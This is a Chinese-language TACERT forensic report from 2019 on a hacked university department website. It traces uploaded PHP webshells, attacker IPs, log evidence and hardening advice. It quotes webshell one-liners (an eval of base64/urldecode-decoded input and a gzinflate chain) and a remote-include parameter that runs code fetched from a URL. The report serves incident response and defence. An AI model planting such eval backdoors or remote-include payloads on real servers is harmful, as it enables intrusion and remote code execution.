
 

 

 

 

 

 

 

X 大學系所網站駭侵攻擊 

事件分析報告 

 

 

 

 

 

 

 

 

臺灣學術網路危機處理中心團隊(TACERT)製 

2019 年 8 月 



 

1 
 

臺灣學術網路危機處理中心(TACERT) 

 

 

TANet Computer Emergency Response Team  

一、 事件簡介 

1. 近期接獲某學校反應校內一個系所網站之根目錄資料夾會遭受不明來源的

index.php 生成。 

2. 該網站預設首頁為 default.asp，非 index.php。 

3. 當 index.php 產生時，會造成網站首頁功能不正常。 

4. 該主機是一台 windows server 2008 Service Pack 2 (32 位元)的系所網頁伺服

器，主要提供系所介紹及相關資訊。 

5. 該主機使用 IIS 架站, 以 ASP 為主，搭配 PHP 模組。 

6. 為了解觸發事件原因、駭客可能之攻擊行為與危害程度，本中心進行實機鑑

識。 

 

二、事件檢測 

1. 首先，檢視受害網站伺服器的系統資訊，得知下列訊息: 

(1) 防火牆在事件發生前未開啟，在事件發生後才開啟。 

(2) 有啟用遠端桌面功能。 

(3) Windows Update 有定期更新。 

(4) 該主機在事件發生前未安裝防毒軟體，在事件發生後才安裝。 
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2. 查看主機對外 port 開啟狀態，發現該主機開啟許多 port，其中包含駭客最常

利用的 port(如 445、3389)。 

 

3. 檢視網站根目錄資料夾內檔案的擁有者，發現 sitemapsjxtkdsy 與 symx 兩資

料夾的擁有者皆為 IUSR，非 administrator，推測這兩個資料夾為駭客所建立，

而且兩個資料夾的修改日期與建立日期皆為 2019/7/18，推測該時間為事件發

生點。 

 

4. 在 sitemapsjxtkdsy 資料夾發現有兩個.gz 的壓縮檔，將兩個壓縮檔解壓縮後，

會有 map4.xml 與 map7.xml 兩個檔案，查看兩個檔案內容發現為日文版的購

物網頁，推測駭客可能懂日文。 
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5. 在 symx 資料夾內有無檔名的.htaccess、komut.php、php.ini 與 s.pl 等四個檔案，

其中 komut.php 開啟後看到「一句話木馬」的語法，會開啟

https://gist.githbusercontent.com/../komut.php，但 komut.php已經不在該網站上。 

 

 

 

檢視 s.pl 內容，發現該檔案為一個網站目錄列舉的腳本，來自作者 0x1999 的

網站 http://0xdark.blogsport.com 資訊，從該網站內容可以知道該名作者懂印

尼文，而且在該網站上教導使用者如何駭入網站，也於網站上販售後門程式。 
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從.htaccess 的內容得知該檔案會重寫網址，輸入任意的 html 檔將會顯示

index.php 的內容，推測該檔案主要用來幫駭客改寫網站首頁用。 

 

6. 管理者將事件發生期間每日所產生的 index.php 與相關檔案收集起來，這些

index.php 檔案大小與內容皆相同，而且也發現一個可疑檔案 rdp.php。 
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7. 檢視 index.php 內容，發現除了 php 語法外，還有一些亂碼，其中有 urldecode

一段亂碼，經嘗試解碼仍無法看出其內容。 
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8. 檢視 rdp.php 內容，看到內含一句話木馬

「eval(htmlspecialchars_decode(urldecode(base64_decode($UeXploiT))));」，將$ 

UeXploiT 的亂碼內容放入一句話木馬中，解出 

「eval('?&amp;gt;'.gzuncompress(gzinflate(gzinflate(base64_decode(strrev($An0

n_3xPloiTeR))))));」，無法識別其內容。 

 

 

 

9. 在網站根目錄的 images 資料夾內發現 new_readme.php，該檔案的擁有者為

IUSR，而且修改日期為 2019/7/18，與 sitemapsjxtkdsy 與 symx 兩資料夾相同

日期。 
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檢視 new_readme.php 的內容，發現該檔案為使用 php 建立 ssh 連線的程式，

在內容中提到 index.php 與.htaccess 兩檔案，推測 new_readme.php、index.php

與.htaccess 三個檔案在程式執行時彼此間有關係。 
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10. 在網站根目錄\alumni\election 內發現 css.php，該檔案擁有者為 IUSR，建立

日期與修改日期皆為 2019/1/31，可見該主機在 2019/1 已經被入侵。 
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11. 從網站日誌紀錄發現，日本 IP:136.144.53.29 在 2019/7/18 下午 3:15 起 POST 

kmoiqfrdwe.php 17 次。 

 

之後在 2019/7/18 15:46 成功地讀取 index.php，為當日第一筆 get index.php

成功的紀錄，，推測該 IP 為本次資安事件的駭客 IP 來源。  

 

在 index.php 後面會有加入一些參數，疑似將要執行的指令透過這些參數傳給

index.php 去執行，例如: 

/index.php?pd=smyedit&mapname=amaps.xml&action=ping。 

 

從日本 IP 讀取 /images/wp-aespa.php?path=D:/eehome 得知駭客知道網站根

目錄的所在位置，而且日本 IP 還曾經透過 wp-aespa.php 成功地上傳東西至

D:/eehome 中。雖然有多個 IP 曾經存取過該網站主機，但透過日本 IP 在

2019/7/18 對網站主機的攻擊行為，可推測此日本 IP 為導致本資安事件的主

要駭客 IP。 
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12. 荷蘭 IP:37.48.116.184 在 2019/1/8 下午 10:05 曾經 POST upload.php，之後

00.php 第一次被讀取，推測所上傳的內容為 00.php。 

 

13. 從網站日誌中發現每當 POST 00.php 時，同時同一 IP 會讀取一個新的 PHP

檔，推測 00.php 可能具有檔案上傳功能。 

 

 

14. 在事件發生期間，波蘭 IP:51.68.157.81 與德國 IP:51.75.92.17 曾經透過 00.php

上傳 PHP 檔，接著在讀取這些 PHP 檔案時加入「php=http://網址/em.txt」的參

數，此做法可以讓 em.txt 的內容以 php 檔執行。 
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15. 該網站主機的事件檢視器的第一筆紀錄日期為 2019/7/19 13:23，事件發生日

2019/7/18 的紀錄已不存在。從 2019/7/19 開始出現大量 4625 登入失敗紀錄，

推測有駭客在嘗試暴力攻擊主機。 

16. 在 2019/7/21 18:14 開始校內 IP:140.X.X.50 使用網路匿名登入主機， 從所側

錄封包發現該 IP 會連線受害主機的 445port 與 1433 port。 
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三、事件攻擊行為示意圖 

 

從網站日誌紀錄發現該網站主機有多個 IP駭入主機的現象，但是以事件時

間 2019/7/18與 index.php出現時間判斷，僅日本 IP：136.144.53.29有明

顯攻擊行為，故本事件的攻擊行為示意圖將以日本 IP的攻擊行為為主。 

1.駭客讀取 upload.php，並且上傳惡意的 00.php。 

2.多個國外 IP 讀取 00.php 上傳惡意的 php 檔。 

3.日本 IP:136.144.53.29 POST kmoiqfrdwe.php 17 次。 

4.日本 IP 陸續讀取 index.php、wp-aespa.php、new_readme.php、wp-log.php。 

5.日本 IP 透過 GET 與 POST wp-aespa.php?path=D:/eehome 來存取網站根目 

錄。 

6.日本 IP 透過 index.php 執行一些指令。 
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四、建議與總結 

1. 本案受害主機未開啟防火牆、未安裝防毒軟體與開啟多個駭客易攻擊的

port，降低了受害主機本身的資安防護能力。 

2. 受害主機的網站因被多個國外 IP 利用 upload.php 上傳 PHP 檔案，導致該

主機存在多個惡意檔案，其中還包含一句話木馬。   

3. 在 2019/1~2019/6 駭入受害主機的 IP 多為國外 IP，共有 45 個 IP，分別來

自 24 個國家。 

4. 本次事件發生的主要原因是日本 IP:136.144.53.29 駭入網站後，使用

index.php 執行指令造成。   

5. 受害主機在事件發生後才安裝防毒軟體，但所安裝的防毒軟體無法偵測出

惡意的網頁檔案，建議管理者更換防毒軟體。 

6. 除開啟防火牆、更換防毒軟體與改善多個 port 開啟問題外，建議定期審

視網頁程式、修補網頁程式漏洞與更新軟體。 

7. 因為網站有 upload 檔案的功能，建議管理者控管上傳檔案的權限。 

8. 在網站日誌的管理方面，建議定期檢視日誌，來查找異常存取紀錄。 


